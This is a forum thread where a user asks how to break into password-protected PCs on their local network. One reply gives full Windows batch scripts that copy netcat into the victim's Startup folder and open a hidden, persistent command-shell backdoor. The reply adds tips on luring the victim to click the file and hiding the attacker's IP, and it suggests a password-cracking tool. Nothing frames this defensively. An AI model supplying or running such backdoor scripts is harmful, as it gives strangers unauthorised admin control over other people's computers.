Access To Local Network PC's

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  1. ghostomni

    ghostomni New Member

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    SomeTime i try to access the PC's Of my local Area Network
    Wether Password Is Not Set But It Ask For Password of Guest Acccount

    just like this

    Name: Su****\Guest
    Password:

    How Can I access These Computers

    Or Is There Is Any Way To Crack Their Passoword

    Please Tell Me
     
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    ghostomni New Member

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    20 views but no reply??????????????????????????????
     
  3. Yoozyman

    Yoozyman New Member

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    Actually body I've read somesolution to your problem but I don't remember the whole thing..it was some dos commands to reset the password for each computer in the LAN..I hope I helped you man...sorry!
     
  4. SpOonWiZaRd

    SpOonWiZaRd Know what you can do.

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    Download netcat and write a batch file that you execute from that other computer, put the batch file in your shared folder and name it something that will make it want to be clicked on. This is what you write in the batch file:

    @echo off

    cd\
    c:
    cd documents and settings
    cd all users
    cd start menu
    cd programs
    cd startup
    copy \\[your computername or IP]\[Your shared folder]\[The name of this batch file]
    cd\
    copy \\[your computername or IP]\[Your shared folder]\netcat.exe
    netcat.exe -L -p [specify a port, any port example 7897] -d -e cmd.exe


    Thats it, from there on it will execute this batch file every time windows is started and that port will be opened for you to telnet to and the moment you make that connection you will be in the remote computer's command line (cmd) without the need of a username and password. You have full admin privileges and you can do as you like.

    or

    Write 2 batch files, lets say with the names batch1 and batch2:
    The first batch file, this will be the one the remote computer has to execute: Batch1:

    @echo off

    cd\
    c:
    cd cd documents and settings
    cd all users
    cd start menu
    cd programs
    cd startup
    copy \\[your computername or IP]\[Your shared folder]\[The name of the second batch file "batch2"]
    cd\
    copy copy \\[your computername or IP]\[Your shared folder]\netcat.exe
    netcat.exe -L -p [you specify the port] -d -e cmd.exe

    The second batch file batch2:

    @echo off

    cd\
    c:
    netcat.exe -L -p [You specify] -d -e cmd.exe

    And thats that, you can erite all that in notepad and save it as a .bat file and not a .txt file, the second batch file will be the file that startsup at startup every time so no one can see where that is going or coming from as your IP is not in the file.

    You can also get cain a abel to crack the passwords if you feel like this is too much of a mission.
     
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